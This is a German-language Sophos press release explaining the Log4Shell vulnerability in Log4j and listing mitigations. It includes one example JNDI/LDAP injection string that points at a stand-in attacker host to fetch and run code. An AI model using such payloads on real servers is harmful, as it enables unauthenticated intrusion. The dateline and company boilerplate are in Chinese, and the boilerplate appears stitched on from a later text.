Wiesbaden — 十二月 13, 2021 —

Letzten Freitag war es wieder soweit und nach prominenten Zero-Day-Schwachstellen wir Hafnium, Kaseya oder Solarwinds müssen sich Unternehmen erneut dringend mit einer hochkarätigen Server-Schwachstelle namens Log4Shell auseinandersetzen. Sophos klärt die wichtigsten Fakten und sagt, was zu tun ist. Der Name Log4Shell bezieht sich auf die Tatsache, dass der ausgenutzte Fehler in einer beliebten Java-Codebibliothek namens Log4j (Logging for Java) enthalten ist, und darauf, dass Angreifer, wenn sie die Lücke erfolgreich ausnutzen, praktisch eine Shell erhalten – also die Möglichkeit, jeden System Code ihrer Wahl auszuführen.

Und als ob diese Kommandogewalt noch nicht genug wäre, wurde die Sicherheitslücke als Zero-Day-Lücke getwittert, also als Sicherheitsfehler, der dokumentiert wird, bevor ein Patch zur Verfügung steht. Zudem wurde das Proof-of-Concept (PoC) auf GitHub veröffentlicht und das Problem damit weltweit bekannt, während es noch ungepatcht war. Entsprechend laut läuten seit Freitag weltweit die Alarmglocken und auch in Deutschland hat z.B. das BSI die Warnstufe Rot ausgerufen.

Unsachgemäße Eingabevalidierung

Die Schwachstelle, mittlerweile offiziell als CVE-2021-44228 bekannt, hat ihren Ursprung in einer harmlosen Anfragesendung an einen anfälligen Server, die einige Daten – beispielsweise einen HTTP-Header – einschließt, von denen die Cyberkriminellen erwarten (oder sogar wissen), dass der Server sie in seine Logdatei schreibt. Die so eingeschleusten Daten bilden eine versteckte „Sprengfalle“, da der Server, während er die Daten in ein für die Protokollierung geeignetes Format umwandelt, einen Web-Download als integralen Bestandteil der Erstellung des erforderlichen Protokolleintrags startet. Und diese Aktion hat es in sich, denn wenn die zurückkommenden Daten ein gültiges Java-Programm sind (eine .class-Datei, im Jargon), dann führt der Server diese Datei aus, um ihm bei der Generierung der Protokolldaten zu helfen.

Der Trick besteht darin, dass ungepatchte Versionen der Log4j-Bibliothek standardmäßig Protokollierungsanforderungen ermöglichen, um allgemeine LDAP-Suchen (Verzeichnisdienste) sowie verschiedene andere Online-Suchen auszulösen. Dieses „Feature“ existiert, um dabei zu helfen, nicht sehr nützliche Daten, zum Beispiel Benutzer-IDs wie OZZJ5JYPVK, in menschenlesbare Informationen umzuwandeln, die in Ihrem Netzwerk sinnvoll sind, wie beispielsweise Peter Müller. Diese Anfragen erfolgen über ein häufig verwendetes Java-Toolkit namens JNDI, kurz für Java Naming and Directory Interface. Dieses Vorgehen ist so lange tragbar, wie die protokollierten Daten, die eine Ausführung von serverseitigem Code auslösen können, auf Verzeichnisserver im eigenen Netzwerk beschränkt sind. Allerdings sind viel Server nicht entsprechend eingerichtet, und so könnten bösartige „Logsploiter“ versuchen, Text wie {$jndi:ldap://dodgy.example:389/badcode} in die Daten einzubetten, von denen sie erwarten, dass Unternehmen sie protokollieren und Server dabei automatisch

  • JNDI verwenden, um eine LDAP-Anfrage an den angegebenen Port (in unserem Beispiel 389) auf dem angegebenen nicht vertrauenswürdigen externen Server zu senden.
  • den nicht vertrauenswürdigen Inhalt in den Standort Badcode abrufen.
  • den vom Angreifer bereitgestellten Code ausführen, um „Hilfe“ bei der Protokollierung zu erhalten.

Einfach ausgedrückt, wird dieses Vorgehen im Fachjargon als nicht authentifizierte Remote Code Execution (RCE) bezeichnet. Ohne sich anzumelden oder ein Passwort oder Zugriffstoken zu benötigen, könnten Cyberkriminelle eine harmlos aussehende Anfrage verwenden, um Server dazu zu bringen, sich zu melden, ihren Code herunterzuladen und sich so mit ihrer Malware zu infizieren. Je nachdem, welche Zugriffsrechte ein Server auf das interne Netzwerk hat, kann eine solche RCE Cyberkriminellen dabei helfen, eine Vielzahl schädlicher Aufgaben auszuführen.

Und genau das macht die aktuelle Schachstelle Log4Shell so gefährlich. Angreifer können theoretisch Daten vom Server selbst abfließen lassen; Details über das interne Netzwerk erfahren, Daten auf dem Server ändern; Daten von anderen Servern im Netzwerk exfiltrieren; zusätzliche Hintertüren auf dem Server oder dem Netzwerk für zukünftige Angriffe einrichten oder weitere Malware wie Netzwerk-Snooper, Memory Scraper, Data Stealer und Cryptominer installieren.

Was ist zu tun?

Lizenzgeber Apache hat zu diesem Thema einen praktischen Sicherheitshinweis veröffentlicht. Sophos fasst außerdem noch einmal das Wichtigste zusammen:

  • Upgrade auf Apache Log4j 2.15.0. Wenn Sie Log4j verwenden, ist jede 2.x-Version von 2.14.1 und früher anscheinend standardmäßig anfällig. (Wenn Sie noch Log4j 1.x verwenden, ist ebenfalls ein Upgrade Pflicht, da es nicht mehr mit Updates versorgt wird).
  • Blockieren der Möglichkeit, dass JNDI Anfragen an nicht vertrauenswürdige Server stellt. Wenn Sie nicht aktualisieren können, aber Log4j 2.10.0 oder höher verwenden, können Sie den Konfigurationswert log4j2.formatMsgNoLookups auf true setzen, was das Ausgehen von LDAP und ähnlichen Abfragen von vornherein verhindert.
  • Überprüfung der verwendeten Java-Laufzeit. Der zugrunde liegende Java Build, den Sie nutzen, verhindert möglicherweise, dass dieser Fehler basierend auf seiner eigenen Standardkonfiguration ausgelöst wird. Apache listet beispielsweise Oracle Java 8u121 explizit als Schutz vor diesem RCE auf.

Betrifft die Sicherheitslücke auch private Nutzer?

Log4Shell bedeutet nicht nur Alarmstufe Rot für Unternehmen, sondern auch private Nutzer können durchaus von den Auswirkungen der Lücke betroffen sein. Das gilt vor allem dann, wenn Privatpersonen Cloud-Server nutzen, die von einem Hosting-Unternehmen oder einem anderen Managed-Service-Provider betrieben werden – sei es ein Blog, ein Forum oder die Familienwebsite. Hier gilt es nun zunächst einmal herauszufinden, ob diese Services angreifbar und wann Patches geplant sind. Aktuell macht es sicherlich mehr Sinn, auf den entsprechenden Webseiten nach Informationen zu suchen, da die Anbieter höchstwahrscheinlich momentan von Emails überflutet werden.

Zusätzlich sollte auf offizielle Sicherheitswarnungen von genutzten Online-Diensten im Postfach geachtet werden...aber auch hier gilt es, Vorsicht walten zu lassen! Wenn Nutzer Nachrichten über die aktuelle Sicherheitslücke erhalten – eventuell noch von einem prominenten Serviceanbieter, sollten sie nicht automatisch auf die in der Warnmeldung angegeben Links klicken und auch keine Telefonnummern ohne kritische Prüfung wählen. Medienwirksame Cyberattacken wie Log4Shell rufen schnell Trittbrettfahren auf den Plan, die die Angst der Nutzer für ihre Phishing-Attacken nutzen wollen. Im Zweifelsfall sollten Nutzer ihren eigenen Weg zur Informationsbeschaffung finden, indem Sie URLs, E-Mail-Adressen oder Telefonnummern verwenden, die sie bereits früher genutzt haben.

关于 Sophos

Sophos 是全球领先的网络安全公司,凭借其人工智能驱动的平台和专家主导的服务,保护着全球 60 万家组织的安全。Sophos 根据各组织在不同安全成熟度的各式各样的需求提供支持,并与其共同成长,携手应对日益严峻的网络攻击。其解决方案结合机器学习、自动化、实时威胁情报以及来自 Sophos X-Ops 的前线真人专家的专业知识,提供 24/7 全天候高级威胁监控、侦测与响应服务。
Sophos 提供行业领先的托管式侦测与响应 (MDR) 服务,同时配备一整套全面的网络安全技术组合,包括端点、网络、电子邮件和云安全、扩展式侦测与响应 (XDR)、身份辨识威胁侦测与响应 (ITDR),以及下一代 SIEM。结合专家咨询服务,这些能力帮助组织主动降低风险,并更迅速地响应,提供力求在不断变化的威胁面前保持领先所需的可见性和可扩展性。
Sophos 通过全球合作伙伴生态系统进入市场,包括托管式服务提供商 (MSPs)、托管式安全服务提供商 (MSSPs)、经销商、分销商、市场集成商以及网络风险合作伙伴,为组织提供灵活的选择,使其能够在保护业务安全的同时建立值得信赖的合作关系。  Sophos 总部位于英国牛津。如欲了解更多信息,请访问 www.sophos.cn。